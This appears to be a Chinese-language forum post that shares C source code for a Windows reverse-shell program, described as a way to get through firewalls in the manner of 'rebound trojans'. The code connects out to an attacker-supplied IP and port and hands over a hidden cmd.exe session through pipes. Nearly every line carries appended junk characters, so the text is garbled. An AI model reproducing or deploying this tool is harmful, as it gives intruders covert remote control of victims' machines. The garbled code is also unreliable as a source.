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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d;g-3Pf  
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/* ============================== ,o)4p\nV  
Rebound port in Windows NT VR v02m5  
By wind,2006/7 AM?Ec1S #a  
===============================*/ 5bBCpNa  
#include DR{] sG  
#include ji##$xC  
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#pragma comment(lib,"wsock32.lib") r|bPR!0  
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void OutputShell(); .93S>U<_  
SOCKET sClient; )l{A{f6O  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YOKR//|3  
2[BA( B  
void main(int argc,char **argv) uRGB/ju^E  
{ ,TJ/3_lH  
WSADATA stWsaData; =kO@Gk?  
int nRet; 5Jw"{V?Ak  
SOCKADDR_IN stSaiClient,stSaiServer; fKYKW?g;)Z  
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if(argc != 3) "GLYyC  
{ x-4J/tm  
printf("Useage:\n\rRebound DestIP DestPort\n"); LT(?#)D  
return; TMY{OI8a  
} >D3z V.R  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5m 3'Gt4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^yD"d =z  
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stSaiClient.sin_family = AF_INET; fMzYFM'i  
stSaiClient.sin_port = htons(0); lrn+d$!@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zx9.pFc"  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )(.%QSA\C  
{ ^Yr|K  
printf("Bind Socket Failed!\n"); IrUi E q  
return; {DS\!0T-X  
} dh?S[|='  
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stSaiServer.sin_family = AF_INET; `rq<jtf+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,0.|P`|w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ' XEK&Yi1  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mf~Lzp  
{ X,&xhSzg?  
printf("Connect Error!"); {\luieG  
return; Y 0]Kl^\A  
} 4UazD_`'  
OutputShell(); :SQ LfOQ  
} L-MiaKcL  
pr)K{~m]{<  
void OutputShell() #a.\P.{L  
{ Kf&r21h  
char szBuff[1024]; S8vx[<  
SECURITY_ATTRIBUTES stSecurityAttributes; 6_Fpca3L  
OSVERSIONINFO stOsversionInfo; UMv"7~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :;<\5Oy ^  
STARTUPINFO stStartupInfo; 1=ip ,D  
char *szShell; sD.6"w7}  
PROCESS_INFORMATION stProcessInformation; ?{n>EvLY  
unsigned long lBytesRead; b_ypsGE]5!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #,)P N @P  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); phe"JNML  
stSecurityAttributes.lpSecurityDescriptor = 0; IF& PGo  
stSecurityAttributes.bInheritHandle = TRUE; G1p43  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !>q?dhw@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R&#[6 r(h  
sb`&bA;i  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P~o@9RV-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (}sDm ~;s  
stStartupInfo.wShowWindow = SW_HIDE; $e>/?Ss  
stStartupInfo.hStdInput = hReadPipe; Cv0&prt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5a8JVDLX^  
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GetVersionEx(&stOsversionInfo); BQE{  
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switch(stOsversionInfo.dwPlatformId) !W 0P `i<  
{ !+5C{Hs2  
case 1: 4Fh&V{`W  
szShell = "command.com"; `3]Rg0g&Xe  
break; tx gvVQ  
default: NYGmLbq  
szShell = "cmd.exe"; <&KLo>B^  
break; R&]c"cO L8  
} ^zKt{a  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2\DTJ`Y,  
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send(sClient,szMsg,77,0); `:V}1ioX5  
while(1) uAc@ Z-  
{ jC#`PA3m=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5XI;<^n2  
if(lBytesRead) QCVsVG!sN  
{ ,I/2.Q})[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <g] ou YHZ  
send(sClient,szBuff,lBytesRead,0); +}kO ;\  
} 4 0p3Rv  
else r[6#G2  
{ U.HoFf+HN  
lBytesRead=recv(sClient,szBuff,1024,0); .MzOLv   
if(lBytesRead<=0) break; mu 2 A%"7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \nrgAC-b  
}  { VS''Lv  
} hEVjeC  
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return; qPL^zM+  
}
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